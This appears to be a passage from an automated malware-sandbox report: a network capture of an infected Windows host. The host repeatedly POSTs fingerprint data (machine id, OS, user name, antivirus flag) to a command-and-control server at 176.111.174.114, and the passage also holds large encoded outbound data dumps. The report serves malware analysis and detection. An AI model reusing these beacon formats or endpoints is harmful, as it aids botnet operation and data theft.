zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:01.757992983 CEST	2906	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:01.758441925 CEST	2922	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:01.758495092 CEST	2930	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:01.850672960 CEST	2933	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:01.850713015 CEST	2936	OUT	Data Raw: 0c cb 71 37 d8 ed 60 89 63 9e 09 44 6d 3c c7 cb 33 24 7b 3c 17 f6 84 fd ae 7f 6b 2f da ca de fa c3 f6 8e f8 d9 3f 8a 20 d4 f5 4d 3f 51 d4 8c fa 45 94 12 de 5d 58 d8 9b 0b 49 66 96 08 11 e5 68 ed 99 d0 6e 62 09 91 dc e5 dd 98 af 86 7f 6a ff 00 da Data Ascii: q7`cDm<3${<k/? M?QE]XIfhnbjwLv~H+jzfZ9{KKimu=rf82n_ros{]'.kEF1KNQi}~,O\|5oTW+o6u#JuV-!>q
Apr 28, 2021 23:23:01.850883961 CEST	2949	OUT	Data Raw: 3e ed 2c 71 fb d5 c6 24 73 09 e5 a7 f7 69 63 8d 37 7d da 73 f5 a5 55 db 4c cf 99 8b 45 14 56 84 8a 9f 7a a6 4f bb 51 c6 b5 2d 69 ef 91 20 a7 a7 4a 6a 7d ea 92 2f e9 5a 40 c8 92 3e a2 a4 4f bd 4c 8f bd 4a 9f 76 b7 89 8c 85 d9 fe cf e9 45 39 57 b9 Data Ascii: >,q$sic7}sULEVzOQ-i Jj}/Z@>OLJvE9WSZe=>-=cj)Hj}1?>2$-H$qjhR`65)8%qO>njLe!:}d}Og]12zvM/#VD:9=ijZNYHs0M"tj^IJ
Apr 28, 2021 23:23:01.850924969 CEST	2954	OUT	Data Raw: fe 12 ff 00 ed 2f 1f f8 62 f3 fe 12 cf ec 9f ec ff 00 ed af 33 47 be 7f b6 fd 97 03 ec de 76 7c df 27 03 cb df b7 03 15 e1 65 f8 7f 63 c4 99 7b f6 7c bf bd 5f 63 97 ff 00 75 e8 df ef 97 a2 3a 73 8a be d7 86 f1 eb 9e ff 00 ba 97 da e6 e9 ff 00 5f Data Ascii: /b3Gv\|'ec{\|_cu:s_~KtrvujKw]J<S,p\|\|=RdO2W0_^[}y_`Fg>jJ!6Z+;/'d4[wf(E\|iWE@C9j_%p>Cr-
Apr 28, 2021 23:23:01.851150990 CEST	2975	OUT	Data Raw: 49 8f a7 47 de a3 1b 3f fd 75 2a 74 fc 6b db 3c 23 e9 2f d8 5f f6 4b f0 d7 ed 19 f0 9f e2 57 c4 2b bf d9 d7 e3 0f c5 4d 63 c1 be 21 f0 c6 9d a7 78 43 e0 ee ab 0d a5 d7 91 a9 ff 00 68 f9 f7 93 b4 9a 56 a0 7c b8 be c7 10 ce c8 d0 79 87 73 81 8c 6b Data Ascii: IG?u*tk<#/_KW+Mc!xChV\|ysk> \|`6,iass5`{9 +7\|<w+oD\|;GspxzI52M_O6pc?~.k6~<u\|a\|})YkU=wW
Apr 28, 2021 23:23:01.851274967 CEST	2983	OUT	Data Raw: 79 35 46 68 37 76 4a 37 6e db 4f a4 61 ba 82 c9 69 a8 31 90 69 9b d7 d6 9e 87 39 26 aa 26 52 d8 b0 9d 69 b4 53 4e ff 00 ff 00 55 51 03 a9 e9 f7 6a 34 ff 00 59 52 d0 4c 87 7f 0f dc a0 7f b9 4b b6 49 3a d1 e5 7b 1a da 24 8b 53 47 de a0 55 db 53 c7 Data Ascii: y5Fh7vJ7nOai1i9&&RiSNUQj4YRLKI:{$SGUSCz>zS0qWt}xDLOS']1*tjx>XCv9owOPG&Vsns;m#I?~Ze(m-u4{wH SjD
Apr 28, 2021 23:23:01.943391085 CEST	2987	OUT	Data Raw: be ff 00 bf e2 a4 8f f6 a5 d2 59 bf e4 1b a8 ff 00 df d5 a9 fe d4 c0 7f 39 1f ea 5e 77 fc 9f d7 de 7b c7 fd f3 4f 8c bf fc f4 af 0b ff 00 86 a3 d1 f6 ff 00 c7 8e a1 ff 00 7f 56 96 3f da 97 46 fb ff 00 60 be ff 00 bf ab 4f fb 43 03 fc e6 5f ea 66 Data Ascii: Y9^w{OV?F`OC_fwzS^SqRGS\|i}fv?gxV?}}LoZ>cpvz5>y~ZeX.AL1R0q@?=G{k

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.5	49852	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:01.762056112 CEST	2930	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	176.111.174.114	80	192.168.2.5	49852	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:01.864005089 CEST	2984	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	176.111.174.114	80	192.168.2.5	49851	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:02.038944960 CEST	3076	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.5	49853	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:02.068602085 CEST	3076	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	176.111.174.114	80	192.168.2.5	49853	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:02.167047977 CEST	3077	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	176.111.174.114	80	192.168.2.5	49723	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:25.783332109 CEST	1576	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.5	49855	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:02.365932941 CEST	3078	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	176.111.174.114	80	192.168.2.5	49855	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:02.463694096 CEST	3078	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.5	49856	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:02.664303064 CEST	3079	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	176.111.174.114	80	192.168.2.5	49856	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:02.762084961 CEST	3079	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.5	49857	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:02.983874083 CEST	3080	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	176.111.174.114	80	192.168.2.5	49857	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:03.087322950 CEST	3080	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:03 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.5	49859	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:03.297400951 CEST	3081	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	176.111.174.114	80	192.168.2.5	49859	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:03.401495934 CEST	3081	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:03 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.5	49860	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:03.657542944 CEST	3082	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	176.111.174.114	80	192.168.2.5	49860	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:03.769337893 CEST	3082	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:03 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49724	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:25.993351936 CEST	1576	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.5	49861	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:04.087276936 CEST	3083	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	176.111.174.114	80	192.168.2.5	49861	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:04.185530901 CEST	3083	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.5	49862	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:04.402662992 CEST	3084	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	176.111.174.114	80	192.168.2.5	49862	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:04.502520084 CEST	3084	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

